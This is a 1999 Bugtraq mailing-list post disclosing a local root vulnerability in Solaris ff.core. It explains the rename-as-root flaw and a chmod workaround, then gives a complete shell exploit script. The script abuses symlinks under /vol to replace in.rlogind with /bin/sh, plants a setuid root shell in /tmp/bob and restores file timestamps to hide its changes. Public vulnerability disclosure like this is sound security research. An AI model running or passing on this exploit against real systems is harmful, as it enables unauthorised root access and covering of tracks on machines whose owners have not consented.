[8989] in bugtraq
really silly ff.core exploit for Solaris
daemon@ATHENA.MIT.EDU (John McDonald)
Fri Jan 8 12:50:18 1999
Date: Thu, 7 Jan 1999 12:28:59 -0500
Reply-To: John McDonald <jmcdonal@UNF.EDU>
From: John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG
Hi,
At the bottom of this email is an exploit I wrote a little bit ago for
/usr/openwin/bin/ff.core on Solaris 2.5.1, and 2.6. I have tested it on a
few machines, with decent success. There is a security patch for ff.core,
labeled 106222-01. I installed it on my 2.6 box, and it does *not* appear
to fix the problem.
The success of this exploit depends heavily on certain default
characteristics of the OS.. There is a pretty good chance it won't
work on your machine if you have changed much of the configuration and
layout. Obviously, openwindows has to be installed. It's a really noisy
exploit, and if someone uses it on your machine, there is a good chance
you might notice.. Let me explain...
We can use ff.core to do a rename() as root. However, there are a lot of
restrictions on what we can get away with. Taking those into account, here
is what I came up with:
ln -fs $A /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/$B $C /floppy/
$A is the directory that contains the file we want to rename.
$B is the file that we want to rename relative to $A. This can be in any
directory under $A (it can't contain '..').
$C is what we want to rename the file too. $C cannot contain '/', so it
has to be in the $A directory.
If you are interested, you can see why we have these restrictions by
gdb'ing a copy of ffcore and disass'ing ff_rename. The 2.5.1
binary is real straightforward.. our 3 arguments make it to ff_rename as
%i0, %i1, and %i2. Then there is a series of sanity checks on the input, a
call to get_vol, a call to get_newpath, and then our call to rename(). The
2.6 binary is a bit more complex, and I haven't tried to follow that one,
but the exploit still works fine. Anyway, it's easy to figure out the
rules that govern our input from the 2.5.1 binary. However, this
invalidates your license, and is an atrocious intellectual property crime,
so don't even consider it.
Ok, so following our rules from above, we can rename any file on the
system to anything we want within the same directory. Also, we can move a
file from any directory to a directory that is above that file in the
tree, as long as they are on the same filesystem. ie- we can move
something from /usr/bin to /usr, as long as /usr/bin and /usr are the same
filesystem.
So, how do we exploit this? On Solaris 2.5, it was pretty easy. I moved
/etc/group on top of /etc/shadow, and su'ed to root. (You can back up
/etc/shadow by moving it to /etc/shadow.bak). However, this doesn't work
on machines running a later version of Solaris. (and some patch probably
makes the passwd system a bit smarter). So, I struggled with it for a
while and came up with a solution. There is easily something I missed or
didn't think of, so this might not be the most effective way.
Anyway, this exploit will attempt to move /bin/sh over in.rlogind. It does
this by utilizing some files sitting around by default in various
directories.
This is basically what it does:
rename /usr/bin/sh /usr/bin/admintool
rename /usr/sbin/swmtool /usr/sbin/in.rlogind
telnet localhost login and clean up
This works because /usr/sbin/swmtool is a symlink to /usr/bin/admintool.
When we rename swmtool to in.rlogind, and telnet in, inetd is going to
exec in.rlogind, and the symlink will be resolved such that
/usr/bin/admintool will be execed. So, if we move /usr/bin/sh to
/usr/bin/admintool, then it will be execed by inetd, and we will have a
root prompt waiting for us.
Obviously, this is going to make tripwire or any other binary modification
detector go nuts. Also, rlogind, sh, and admintool will be temporarily
hosed during the exploit. It attempts to clean up everything it can, but
if everything isn't quite right, and it renames files, but doesn't get the
root shell, then it can't clean up. Run this at your own risk. Before
running it, you should at least check to see if the symlinks are present,
and that rlogind (or whatever daemon in /usr/sbin you choose to overwrite)
is running.
The workaround is simple: chmod ug-s /usr/openwin/bin/ff.core. Also, there
is no way this exploit can work if a normal user can't write to something
under /vol, so some chmod's will probably be effective.
horizon
#!/bin/sh
# /usr/openwin/bin/ff.core exploit - horizon
# tested on 2.5.1, and 2.6
# thanks to joej, adm, and joej :>
# you can use ff.core to do a rename() as root
# files must be on same filesystem and the destination must be in a
# directory that is a subset of the source directory
# this exploit can be pretty messy. what it does is move /usr/bin/sh
# over /usr/bin/admintool. then it moves /usr/sbin/swmtool (which is a symlink
# to /usr/bin/admintool) on top of /usr/sbin/in.rlogind. It's attempts to
# clean up best it can. This has the potential of messing lots of stuff up, and
# tripwire is not going to be particularly happy.
# if you want to exploit 2.5, you can just make this move /etc/group over
# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak
# first test if we can pull this off
echo "Testing if exploit is possible..."
if [ -x /usr/openwin/bin/ff.core ]
then
:
else
echo "ff.core isn't there or executable. :/"
exit 1
fi
if [ -w /vol/rmt ]
then
:
else
echo "We can't do the symlink. :<"
exit 1
fi
mkdir /tmp/.test42
touch /tmp/.test42/bob
rm -f /vol/rmt/diskette0
ln -fs /tmp/.test42 /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null
if [ -f /tmp/.test42/jim ]
then
echo "Test successful. Proceeding..."
else
echo "Hmmm.. doesn't look like this is going to work :/"
exit 1
fi
rm -rf /tmp/.test42
# lets make some backups
echo "Backing up clobbered files to /tmp/.bk"
mkdir /tmp/.bk
#save admintools times
touch /tmp/.bk/admintool
touch -r /usr/bin/admintool /tmp/.bk/admintool
#save rloginds times
touch /tmp/.bk/in.rlogind
touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
#save a copy of /usr/bin/sh
cp /usr/bin/sh /tmp/.bk
touch -r /usr/bin/sh /tmp/.bk/sh
echo "Doing sploit..."
rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/bin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null
rm -f /vol/rmt/diskette0
ln -fs /usr/sbin /vol/rmt/diskette0
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null
echo "Done with sploit. Testing and trying to clean up now..."
sleep 1
(sleep 2;echo "\
cp /bin/rksh /tmp/bob;\
chmod 4755 /tmp/bob;\
exit;\
") | telnet localhost login
sleep 1
if [ -f /tmp/bob ]
then
echo "w00p! Should have a suid root sh in /tmp/bob"
echo "btw, its rksh because solaris is silly"
echo "Let me try to clean up my mess..."
else
echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
exit 1
fi
echo "
cp /tmp/.bk/sh /usr/bin/sh
chmod 555 /usr/bin/sh
chown bin /usr/bin/sh
chgrp root /usr/bin/sh
touch -r /tmp/.bk/sh /usr/bin/sh
mv /usr/bin/admintool.bak /usr/bin/admintool
touch -r /tmp/.bk/admintool /usr/bin/admintool
rm -f /usr/sbin/swmtool
ln -s /usr/bin/admintool /usr/sbin/swmtool
touch -r /usr/bin/admintool /usr/sbin/swmtool
rm -f /usr/sbin/in.rlogind
mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
rm -rf /tmp/.bk
" | /tmp/bob
echo "everything should be cool.. i think :>"
/tmp/bob